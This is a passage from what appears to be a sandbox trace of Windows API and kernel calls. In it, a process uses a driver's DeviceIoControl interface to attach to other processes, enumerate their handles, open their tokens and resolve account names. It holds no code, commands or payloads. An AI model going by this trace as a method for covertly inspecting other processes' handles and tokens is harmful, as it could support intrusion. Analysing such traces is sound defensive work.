PROCESS=0xfffffa80020a1360, ApcState=0xfffff880055905d0) [0113.996] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020e3c10, HandleInformation=0x0) returned 0x0 [0113.996] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.996] PsReleaseProcessExitSynchronization () returned 0x2 [0113.996] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0113.996] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.996] ObfDereferenceObject (Object=0xfffffa80020e3c10) returned 0x1 [0113.996] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.996] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.996] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.996] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0113.996] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.996] PsAcquireProcessExitSynchronization () returned 0x0 [0113.996] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880055905d0) [0113.996] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020e3ac0, HandleInformation=0x0) returned 0x0 [0113.996] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.996] PsReleaseProcessExitSynchronization () returned 0x2 [0113.996] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0113.996] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.996] ObfDereferenceObject (Object=0xfffffa80020e3ac0) returned 0x1 [0113.996] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.996] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.996] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.996] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.996] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.996] PsAcquireProcessExitSynchronization () returned 0x0 [0113.996] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880055905d0) [0113.996] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.996] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.996] PsReleaseProcessExitSynchronization () returned 0x2 [0113.996] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0113.996] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.996] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0113.997] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.997] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.997] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x880) returned 0xc0 [0113.997] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.997] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800208b060, HandleInformation=0x0) returned 0x0 [0113.997] ObOpenObjectByPointer (in: Object=0xfffffa800208b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0113.997] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x12 [0113.997] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0113.997] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0113.997] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.997] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.997] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.998] CloseHandle (hObject=0xc8) returned 1 [0113.998] CloseHandle (hObject=0xc0) returned 1 [0113.998] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.998] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.998] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.998] PsAcquireProcessExitSynchronization () returned 0x0 [0113.999] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880055905d0) [0113.999] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019ac4f0, HandleInformation=0x0) returned 0x0 [0113.999] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.999] PsReleaseProcessExitSynchronization () returned 0x2 [0113.999] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0113.999] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.999] ObfDereferenceObject (Object=0xfffffa80019ac4f0) returned 0x1 [0113.999] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.999] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.999] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.999] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0113.999] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.999] PsAcquireProcessExitSynchronization () returned 0x0 [0113.999] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880055905d0) [0113.999] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f9c200, HandleInformation=0x0) returned 0x0 [0113.999] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.999] PsReleaseProcessExitSynchronization () returned 0x2 [0113.999] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0113.999] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.999] ObfDereferenceObject (Object=0xfffffa8001f9c200) returned 0x1 [0113.999] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.999] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.999] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.999] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.999] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.999] PsAcquireProcessExitSynchronization () returned 0x0 [0113.999] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880055905d0) [0113.999] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.000] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.000] PsReleaseProcessExitSynchronization () returned 0x2 [0114.000] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0114.000] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.000] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.000] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.000] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.000] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x890) returned 0xc0 [0114.000] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.000] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001fc0b30, HandleInformation=0x0) returned 0x0 [0114.000] ObOpenObjectByPointer (in: Object=0xfffffa8001fc0b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0114.000] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x12 [0114.000] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0114.000] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0114.000] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.000] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.000] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.001] CloseHandle (hObject=0xc8) returned 1 [0114.001] CloseHandle (hObject=0xc0) returned 1 [0114.001] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.001] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.002] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.002] PsAcquireProcessExitSynchronization () returned 0x0 [0114.002] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880055905d0) [0114.002] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a126f0, HandleInformation=0x0) returned 0x0 [0114.002] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.002] PsReleaseProcessExitSynchronization () returned 0x2 [0114.002] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0114.002] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.002] ObfDereferenceObject (Object=0xfffffa8001a126f0) returned 0x1 [0114.002] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.002] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.002] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.002] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.002] PsAcquireProcessExitSynchronization () returned 0x0 [0114.002] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880055905d0) [0114.002] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fc01e0, HandleInformation=0x0) returned 0x0 [0114.002] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.002] PsReleaseProcessExitSynchronization () returned 0x2 [0114.002] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0114.002] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.002] ObfDereferenceObject (Object=0xfffffa8001fc01e0) returned 0x1 [0114.002] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.002] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.002] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.002] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.002] PsAcquireProcessExitSynchronization () returned 0x0 [0114.002] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880055905d0) [0114.003] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.003] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.003] PsReleaseProcessExitSynchronization () returned 0x2 [0114.003] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0114.003] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.003] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.003] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.003] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.003] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8a0) returned 0xc0 [0114.003] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.003] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001fef740, HandleInformation=0x0) returned 0x0 [0114.003] ObOpenObjectByPointer (in: Object=0xfffffa8001fef740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0114.003] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x12 [0114.003] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0114.003] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0114.003] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.003] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.003] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.004] CloseHandle (hObject=0xc8) returned 1 [0114.004] CloseHandle (hObject=0xc0) returned 1 [0114.004] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.004] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.005] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.005] PsAcquireProcessExitSynchronization () returned 0x0 [0114.005] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880055905d0) [0114.005] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fef070, HandleInformation=0x0) returned 0x0 [0114.005] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.005] PsReleaseProcessExitSynchronization () returned 0x2 [0114.005] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0114.005] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.005] ObfDereferenceObject (Object=0xfffffa8001fef070) returned 0x1 [0114.005] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.005] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.005] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.005] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.005] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.005] PsAcquireProcessExitSynchronization () returned 0x0 [0114.005] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880055905d0) [0114.005] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001ff3070, HandleInformation=0x0) returned 0x0 [0114.005] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.005] PsReleaseProcessExitSynchronization () returned 0x2 [0114.006] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0114.006] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.006] ObfDereferenceObject (Object=0xfffffa8001ff3070) returned 0x1 [0114.006] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.006] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.006] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.006] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.006] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.006] PsAcquireProcessExitSynchronization () returned 0x0 [0114.006] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880055905d0) [0114.006] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.006] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.006] PsReleaseProcessExitSynchronization () returned 0x2 [0114.006] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0114.006] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.006] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.006] IofCompleteRequest 